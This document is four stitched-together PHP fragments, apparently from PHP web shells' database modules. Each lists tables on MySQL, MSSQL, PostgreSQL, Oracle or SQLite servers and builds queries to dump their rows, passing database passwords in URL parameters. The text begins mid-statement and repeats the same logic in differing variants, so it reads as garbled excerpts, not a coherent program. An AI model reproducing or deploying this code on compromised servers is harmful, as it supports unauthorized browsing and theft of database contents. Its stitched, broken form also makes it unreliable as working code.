$showtbl = "SHOW TABLES FROM " . $db; } elseif ($type == 'mssql') { $showtbl = "SELECT name FROM " . $db . "..sysobjects WHERE xtype = 'U'"; } elseif ($type == 'pgsql') { $showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='" . $db . "'"; } elseif ($type == 'oracle') { $showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='" . $db . "'"; } elseif ($type == 'sqlite3' || $type == 'sqlite') { $showtbl = "SELECT name FROM sqlite_master WHERE type='table'"; } else { $showtbl = ""; } $res .= "<p class='boxtitle boxNav' style='padding:8px 32px;margin-bottom:4px;'>" . $db . "</p><table class='border' style='display:none;margin:8px 0;'>"; $query_table = sql_query($type, $showtbl, $con); if ($query_table != false) { while ($tables_arr = sql_fetch_data($type, $query_table)) { foreach ($tables_arr as $table) { $res .= "<tr><td class='dbTable borderbottom' style='cursor:pointer;'>" . $table . "</td></tr>"; } } } $res .= "</table>"; } } } } } } if (!empty($res)) { output($res); }
if ($sqltype == 'mysql') { $showtbl = "SHOW TABLES FROM " . $rows; } elseif ($sqltype == 'mssql') { $showtbl = "SELECT name FROM " . $rows . "..sysobjects WHERE xtype = 'U'"; } elseif ($sqltype == 'pgsql') { $showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='" . $rows . "'"; } elseif ($sqltype == 'oracle') { $showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='" . $rows . "'"; } elseif ($sqltype == 'sqlite3' || $sqltype == 'sqlite') { $showtbl = "SELECT name FROM sqlite_master WHERE type='table'"; } else { $showtbl = ""; } $hasil_t = sql_query($sqltype, $showtbl, $con); if ($hasil_t != false) { while ($tables_arr = sql_fetch_data($sqltype, $hasil_t)) { foreach ($tables_arr as $tables) { if ($sqltype == 'mysql') { $dump_tbl = "SELECT * FROM " . $rows . "." . $tables . " LIMIT 0,100"; } elseif ($sqltype == 'mssql') { $dump_tbl = "SELECT TOP 100 * FROM " . $rows . ".." . $tables; } elseif ($sqltype == 'pgsql') { $dump_tbl = "SELECT * FROM " . $rows . "." . $tables . " LIMIT 100 OFFSET 0"; } elseif ($sqltype == 'oracle') { $dump_tbl = "SELECT * FROM " . $rows . "." . $tables . " WHERE ROWNUM BETWEEN 0 AND 100;"; } elseif ($sqltype == 'sqlite' || $sqltype == 'sqlite3') { $dump_tbl = "SELECT * FROM " . $tables . " LIMIT 0,100"; } else { $dump_tbl = ""; } $dump_tbl_link = $s_self . "db&connect=&sqlhost=" . $sqlhost . "&sqlport=" . $sqlport . "&sqluser="******"&sqlpass="******"&sqltype=" . $sqltype . "&sqlcode=" . urlencode($dump_tbl);
$sBuff .= '<p class="touch notif ' . ($bg++ % 2 == 0 ? 'alt1' : 'alt2') . '" onclick=\'toggle("db_' . $rows . '")\'>' . $rows . '</p><div class="uiinfo" id="db_' . $rows . '"><table>'; if ($p['type'] === 'mssql') { $showtbl = "SELECT name FROM {$rows}..sysobjects WHERE xtype = 'U'"; } elseif ($p['type'] === 'pgsql') { $showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='{$rows}'"; } elseif ($p['type'] === 'oracle') { $showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='{$rows}'"; } elseif ($p['type'] === 'sqlite' || $p['type'] === 'sqlite3') { $showtbl = "SELECT name FROM sqlite_master WHERE type='table'"; } else { $showtbl = "SHOW TABLES FROM {$rows}"; } //mysql $res_t = sql_query($p['type'], $showtbl, $con); if ($res_t != false) { while ($tablearr = sql_fetch_data($p['type'], $res_t)) { foreach ($tablearr as $tables) { if ($p['type'] === 'mssql') { $dumptbl = "SELECT TOP 100 * FROM {$rows}..{$tables}"; } elseif ($p['type'] === 'pgsql') { $dumptbl = "SELECT * FROM {$rows}.{$tables} LIMIT {limit} OFFSET {start}"; } elseif ($p['type'] === 'oracle') { $dumptbl = "SELECT * FROM {$rows}.{$tables} WHERE ROWNUM BETWEEN {start} AND (oraclelimit);"; } elseif ($p['type'] === 'sqlite' || $p['type'] === 'sqlite3') { $dumptbl = "SELECT * FROM {$tables} LIMIT {start}, {limit}"; } else { $dumptbl = "SELECT * FROM {$rows}.{$tables} LIMIT {start}, {limit}"; } //mysql $sBuff .= '<tr><td><a href="#" onclick="dbexec(\'' . $dumptbl . '\');return false;">' . $tables . '</a></td></tr>'; }
if ($s_sql['type'] == 'mysql') { $s_showtbl = "SHOW TABLES FROM " . $s_rows; } elseif ($s_sql['type'] == 'mssql') { $s_showtbl = "SELECT name FROM " . $s_rows . "..sysobjects WHERE xtype = 'U'"; } elseif ($s_sql['type'] == 'pgsql') { $s_showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='" . $s_rows . "'"; } elseif ($s_sql['type'] == 'oracle') { $s_showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='" . $s_rows . "'"; } elseif ($s_sql['type'] == 'sqlite3' || $s_sql['type'] == 'sqlite') { $s_showtbl = "SELECT name FROM sqlite_master WHERE type='table'"; } else { $s_showtbl = ""; } $s_hasil_t = sql_query($s_sql['type'], $s_showtbl, $s_con); if ($s_hasil_t != false) { while ($s_tables_arr = sql_fetch_data($s_sql['type'], $s_hasil_t)) { foreach ($s_tables_arr as $s_tables) { if ($s_sql['type'] == 'mysql') { $s_dump_tbl = "SELECT * FROM " . $s_rows . "." . $s_tables . " LIMIT 0,100"; } elseif ($s_sql['type'] == 'mssql') { $s_dump_tbl = "SELECT TOP 100 * FROM " . $s_rows . ".." . $s_tables; } elseif ($s_sql['type'] == 'pgsql') { $s_dump_tbl = "SELECT * FROM " . $s_rows . "." . $s_tables . " LIMIT 100 OFFSET 0"; } elseif ($s_sql['type'] == 'oracle') { $s_dump_tbl = "SELECT * FROM " . $s_rows . "." . $s_tables . " WHERE ROWNUM BETWEEN 0 AND 100;"; } elseif ($s_sql['type'] == 'sqlite' || $s_sql['type'] == 'sqlite3') { $s_dump_tbl = "SELECT * FROM " . $s_tables . " LIMIT 0,100"; } else { $s_dump_tbl = ""; } $s_dump_tbl_link = $s_self . "x=db&connect=&sqlhost=" . pl($s_sql['host']) . "&sqlport=" . pl($s_sql['port']) . "&sqluser="******"&sqlpass="******"&sqltype=" . pl($s_sql['type']) . "&sqlcode=" . pl($s_dump_tbl);